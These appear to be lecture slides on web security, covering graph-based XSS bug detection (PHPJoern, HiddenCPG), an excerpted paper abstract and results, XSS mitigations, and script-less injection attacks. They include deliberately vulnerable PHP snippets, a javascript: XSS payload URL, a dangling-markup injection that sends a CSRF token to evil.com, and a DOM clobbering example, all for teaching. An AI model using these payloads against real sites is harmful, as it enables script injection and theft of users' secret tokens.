large amount of mined source code

Code Property Graph (CPG)




Define how to traverse  
on CPG to find bugs

From 1,854 GitHub projects, PHPJoern identified  
196 bugs within 6 days and 13 hours

Application  
under test

A general representation of a  
large amount of mined source code

Code Property Graph (CPG)



## Searching XSS bugs

```
<?php  
    $input = $_GET["input"];  
    $message = $input;  
?  
<a href = "  
    <?php echo $message; ?>  
"> Content </a>
```



Define how to traverse  
on CPG to find bugs




Graph query

## Searching XSS bugs


```
<?php  
    $input = $_GET["input"];  
    $message = $input;  
?  
<a href = "  
    <?php echo $message; ?>  
"> Content </a>
```



### (1) Searching sink functions



Graph query



```
<?php
    $input = $_GET["input"];
    $message = $input;
?>
<a href =
    <?php echo $message; ?>
"> Content </a>
```




## Searching XSS bugs

- (1) Searching sink functions
- (2) Identifying data flows
- (3) Checking sanitizations

Data flow edge



Graph query



```
<?php
$input = $_GET["input"];
$message = $input;
?>
<a href =
    <?php echo $message; ?>
"> Content </a>
```



## Searching XSS bugs

- (1) Searching sink functions
- (2) Identifying data flows
- (3) Checking sanitizations

Data flow edge



Graph query

ASSIGN

ASSIGN

ECHO

There is an  
input source

AST for

\$input=\$\_GET["input"];

AST for

\$message = \$input;

If there are no sanitizers  
(e.g., htmlspecialchars),  
→ Continue to traverse


```
<?php
$input = $_GET["input"];
$message = $input;
?>
<a href =
    <?php echo $message; ?>
"> Content </a>
```




## Searching XSS bugs

- (1) Searching sink functions
- (2) Identifying data flows
- (3) Checking sanitizations

Data flow edge



Graph query



# Limitation of PHPJoern: Coarse-grained Query<sup>122</sup>

---

It assumes that security mechanisms (e.g., `htmlspecialchars`) are ***perfectly safe***

```
<?php
    $input = $_GET["input"];
    $message = htmlspecialchars($input); 
?>
<a href =
    <?php echo $message; ?>
"> Content </a>
```

Convert special characters to HTML entities

- & (ampersand) → &amp;
- " (double quote) → &quot;
- ' (single quote) → &#039;
- < (less than) → &lt;
- > (greater than) → &gt;

# Incorrect Input Sanitzations



http://vuln.com?input=javascript:alert('xss') 😬

```
<?php  
    $input = $_GET["input"];  
    $message = htmlspecialchars($input);   
?  
<a href = “  
    <?php echo $message; ?>  
”> Content </a>
```



<a href="javascript:alert('xss')"> Content </a> 😬

Convert special characters to HTML entities

- & (ampersand) → &amp;
- " (double quote) → &quot;
- ' (single quote) → &#039;
- < (less than) → &lt;
- > (greater than) → &gt;

*This application is still vulnerable*

# Incorrect Input Sanitzations



http://vuln.com?input=javascript:alert('xss') 😈

```
<?php
```

**Coarse-grained query can produce  
false negatives**

```
<a href = ""  
     <?php echo $message; ?>  
  > Content </a>
```

- ' (single quote) → &#039;
- < (less than) → &lt;
- > (greater than) → &gt;

<a href="javascript:alert('xss')"> Content </a> 😈

*This application is still vulnerable*

**Research Question:**  
**How to Find Incorrect Input  
Sanitizations?**



## HiddenCPG: Large-Scale Vulnerable Clone Detection Using Subgraph Isomorphism of Code Property Graphs

Seongil Wi

School of Computing,  
KAIST

Sijae Woo

School of Computing,  
KAIST

Joyce Jiyoung Whang

School of Computing,  
KAIST

Sooel Son

School of Computing,  
KAIST

### ABSTRACT

A code property graph (CPG) is a joint representation of syntax, control flows, and data flows of a target application. Recent studies have demonstrated the promising efficacy of leveraging CPGs for the identification of vulnerabilities. It recasts the problem of implementing a specific static analysis for a target vulnerability as a graph query composition problem. It requires devising coarse-grained graph queries that model vulnerable code patterns. Unfortunately, such coarse-grained queries often leave vulnerabilities due to faulty input sanitization undetected. In this paper, we propose HiddenCPG, a scalable system designed to identify various web vulnerabilities, including bugs that stem from incorrect sanitization. We designed HiddenCPG to find a subgraph in a target CPG that matches a given CPG query having a known vulnerability, which is known as the subgraph isomorphism problem. To address the scalability challenge that stems from the NP-complete nature of this problem, HiddenCPG leverages optimization techniques designed to boost the efficiency of matching vulnerable subgraphs. HiddenCPG found


recent years, PHP open-source software has made tremendous and rapid progress, reaching almost 140K projects on GitHub [5].

However, security threats that these PHP applications impose have been exacerbated as vulnerable GitHub projects have become increasingly accessible. Developers often copy and paste portions of other software with or without modification, a practice known as code cloning [31, 45]. This tendency is known to introduce vulnerabilities, such as SQL injection (SQLi) or cross-site scripting (XSS), by propagating buggy code [32, 46, 48].

Previous studies have proposed various static data flow analyses to identify web vulnerabilities [12, 21, 26, 27, 37, 43, 58, 60, 62]. One notable approach that Yamaguchi *et al.* [64] introduced is the code property graph (CPG), a joint representation of the target application's syntax, control flows, and data flows. This graph-level representation facilitates the static detection of various types of vulnerabilities by defining graph queries, instead of implementing static analyses tailored to each vulnerability type. Backes *et al.* [12] have extended CPG to cover PHP applications. They demonstrated


# Code Property Graph

127




# Approach – Leveraging Known Bugs

128




# Approach – Leveraging Known Bugs




CVE-2019-41432

Source: line 4  
Sink: line 32



CVE-2021-1482

Source: line 34  
Sink: line 51




CVE-2018-4251


Source: line 453  
Sink: line 552



Query #1  
(for sanitization #1)




Query #2  
(for sanitization #2)



Query #N  
(for sanitization #N)

# Approach – Leveraging Known Bugs


130



CVE-2019-41432

Source: line 4


Sink: line 32



CVE-2021-1482

Source: line 34


Sink: line 51




CVE-2018-4251

Source: line 453


Sink: line 552



Query CPG #1



Query CPG #2



Incorrect  
sanitization



Query CPG #N

# Approach – Leveraging Known Bugs

13




Incorrect  
sanitizations

Finding a Subgraph



Check if the target CPG  
contains a vulnerable CPG

# Experimental Setup



- 7,174 **PHP** applications with more than 100 stars on GitHub
  - **# of nodes:**  $\approx$  1.1 billion
  - **# of edges:**  $\approx$  1.3 billion

The largest collection of PHP applications in a single study

- 103 **queries** from 40 web applications
  - Cross-site Scripting: 66
  - Unrestricted File Upload: 1
  - SQL Injection: 31
  - Local File Inclusion: 5
- Include 10 incorrect sanitizations

# Bugs Found – Matched Subgraphs



- HiddenCPG found **2,464 distinct potential vulnerabilities** (i.e., matched subgraphs) including **39 incorrect sanitizations**

---

Vulnerability Type	# of Matched Subgraphs
Cross-Site Scripting	2,416
Unrestricted File Upload	2
SQL Injection	9
Local File Inclusion	37
<b>Total</b>	<b>2,464</b>

---

# Bugs Found – Manual Verification

---



- We analyzed **103 sampled reports**
  - Cross-site Scripting: 94
  - Unrestricted File Upload: 2
  - SQL Injection: 5
  - Local File Inclusion: 2
- **14 reports (13.5%)** were *false positives*
  - 12 reports: separate sanitization logic in dynamic callbacks
  - 2 reports: anti-CSRF protection for POST requests
- We reported **89 vulnerabilities**
  - **42 CVEs** from 17 applications

# How to Prevent XSS Attacks?

135



## #1: Input validation/sanitization

- Any user input must be preprocessed before it is used inside HTML
- Option 1-1: Implement your own sanitization logic (not recommended)
- Option 1-2: Use the good escaping libraries
  - E.g., `htmlspecialchars(string)`, `htmlentities(string)`, ...

## #2: Content Security Policy (CSP)

- A new security mechanism supported by modern browsers
- Next lecture!

# Script-less Injections

---




- XSS = script injection
- Many browser mechanisms to defense script injection
  - Built-in XSS filters in IE and Chrome
  - Client-side APIs like `toStaticHTML()`
  - Content Security Policy (CSP)
- But attacker can do damage by **injecting non-script HTML markup elements**, too
- Reference: Postcards from the post-XSS world, Zalewski

# Script-less Injections: Dangling Markup Injection

13+

```
...  
<input type="hidden" name="xsrf_token" value= "secret">  
...'  
</div>
```



Secret information the attacker  
wants to obtain

# Script-less Injections: Dangling Markup Injection

138

Attacker's injected string

```
<img src='http://evil.com/log.cgi?'
```

...

```
<input type="hidden" name="xsrf_token" value="secret">  
...'  
</div>
```

Secret information the attacker  
wants to obtain

# Script-less Injections: Dangling Markup Injection

```
<img src='http://evil.com/log.cgi?  
...  
<input type="hidden" name="xsrf_token" value= "secret"  
...'  
</div>
```

All of this sent to evil.com as a URL

# Script-less Injections: Namespace Attacks

140

```
function submit_new_acls() {  
    if (is_public)  
        request.access_mode = AM_PUBLIC; ...  
}
```

Access control  
through a variable

# Script-less Injections: Namespace Attacks<sup>14</sup>

```
<img id= 'is_public'>
```

Attacker's injected components:  
Automatically added to JavaScript namespace  
with higher priority than script-created variables

```
function submit_new_acls() { ...  
    if (is_public)  
        request.access_mode = AM_PUBLIC; ...  
}
```

Always evaluated  
to true

# Conclusion

---



- We studied a basic browser sandboxing mechanism
  - Same Origin Policy (SOP): basic access control
- Cross-Site Scripting (XSS) Attacks: **bypass SOP** by making the pages from benign website run malicious scripts
  - Reflected XSS Attacks
  - Stored XSS Attacks
  - DOM-based XSS Attacks
  - Universal XSS Attacks
- How to mitigate?
  - Input sanitization
  - Content Security Policy (CSP)

# Question?